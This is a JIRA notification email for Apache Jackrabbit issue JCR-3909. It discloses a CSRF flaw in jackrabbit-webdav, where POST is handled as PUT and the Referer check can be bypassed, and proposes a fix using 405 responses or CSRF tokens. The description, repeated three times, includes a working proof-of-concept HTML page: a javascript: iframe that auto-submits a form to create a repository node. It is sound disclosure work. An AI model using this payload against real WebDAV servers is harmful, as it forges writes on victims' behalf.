[
https://issues.apache.org/jira/browse/JCR-3909?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Julian Reschke updated JCR-3909:
--------------------------------
Description:
Following issues lead to CSRF:
1.Jackrabbit-webdav processes POST requests as PUT requests. Handler doPost
invokes doPut in code of
org.apache.jackrabbit.webdav.server.AbstractWebdavServlet class.
2.There is CSRF protection based on Referer header -
https://issues.apache.org/jira/browse/JCR-3036. This protection could be
bypassed, because it allows requests with omitted Referer header. It is
possible to strip referer by creating an iframe with Javascript in src
attribute. It works because javascript is executed in context of about:blank
page.
Attack scenario:
1. Attacker creates following HTML page:
<h1>CSRF PoC</h1>
<iframe src="javascript:document.write('<form method=post
enctype=\'text/plain\'
action=\'http://127.0.0.1:8080/jackrabbit-webapp-custom/repository/default/evil\'><input
type=\'hidden\'
name=\'EvilContent\'/></form>');document.forms[0].submit();"></iframe>
2. If victim previously used browser to access jackrabbit-webdav and opens
attacker's page than node "evil" with content "EvilContent=" will be created on
victim's behalf.
Proposed fix:
Jackrabbit-webdav should return 405 Method Not Allowed for POST requests by
default. When POST requests are required robust CSRF protection must be
implemented. At least omitted Referer should be prohibited for POST requests.
Referer based protection considered weak, because it is possible to completely
bypass Referer-based protection for IE browser using Java Applets or PDF files.
The best option for CSRF protection is CSRF tokens.
CVSS:
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
was:
Following issues lead to CSRF:
1.Jackrabbit-webdav processes POST requests as PUT requests. Handler doPost
invokes doPut in code of
org.apache.jackrabbit.webdav.server.AbstractWebdavServlet class.
2.There is CSRF protection based on Referer header -
https://issues.apache.org/jira/browse/JCR-3036. This protection could be
bypassed, because it allows requests with omitted Referer header. It is
possible to strip referer by creating an iframe with Javascript in src
attribute. It works beacuse javascript is executed in context of about:blank
page.
Attack scenario:
1. Attacker creates following HTML page:
<h1>CSRF PoC</h1>
<iframe src="javascript:document.write('<form method=post
enctype=\'text/plain\'
action=\'http://127.0.0.1:8080/jackrabbit-webapp-custom/repository/default/evil\'><input
type=\'hidden\'
name=\'EvilContent\'/></form>');document.forms[0].submit();"></iframe>
2. If victim previously used browser to access jackrabbit-webdav and opens
attacker's page than node "evil" with content "EvilContent=" will be created on
victim's behalf.
Proposed fix:
Jackrabbit-webdav should return 405 Method Not Allowed for POST requests by
default. When POST requests are requried robust CSRF protection must be
implemented. At least omitted Referer should be prohibited for POST requests.
Referer based protection considered weak, because it is possible to completely
bypass Referer-based protection for IE browser using Java Applets or PDF files.
The best option for CSRF protection is CSRF tokens.
CVSS:
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
> CSRF bug in Jackrabbit-Webdav
> -----------------------------
>
> Key: JCR-3909
> URL: https://issues.apache.org/jira/browse/JCR-3909
> Project: Jackrabbit Content Repository
> Issue Type: Bug
> Components: jackrabbit-webdav
> Affects Versions: 2.11.0
> Reporter: Mikhail Egorov
> Assignee: Dominique Jäggi
> Labels: csrf, security, webdav
> Fix For: 2.11.2
>
>
> Following issues lead to CSRF:
> 1.Jackrabbit-webdav processes POST requests as PUT requests. Handler doPost
> invokes doPut in code of
> org.apache.jackrabbit.webdav.server.AbstractWebdavServlet class.
> 2.There is CSRF protection based on Referer header -
> https://issues.apache.org/jira/browse/JCR-3036. This protection could be
> bypassed, because it allows requests with omitted Referer header. It is
> possible to strip referer by creating an iframe with Javascript in src
> attribute. It works because javascript is executed in context of about:blank
> page.
> Attack scenario:
> 1. Attacker creates following HTML page:
> <h1>CSRF PoC</h1>
> <iframe src="javascript:document.write('<form method=post
> enctype=\'text/plain\'
> action=\'http://127.0.0.1:8080/jackrabbit-webapp-custom/repository/default/evil\'><input
> type=\'hidden\'
> name=\'EvilContent\'/></form>');document.forms[0].submit();"></iframe>
> 2. If victim previously used browser to access jackrabbit-webdav and opens
> attacker's page than node "evil" with content "EvilContent=" will be created
> on victim's behalf.
> Proposed fix:
> Jackrabbit-webdav should return 405 Method Not Allowed for POST requests by
> default. When POST requests are required robust CSRF protection must be
> implemented. At least omitted Referer should be prohibited for POST requests.
> Referer based protection considered weak, because it is possible to
> completely bypass Referer-based protection for IE browser using Java Applets
> or PDF files. The best option for CSRF protection is CSRF tokens.
> CVSS:
> 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
--
This message was sent by Atlassian JIRA
(v6.3.4#6332)
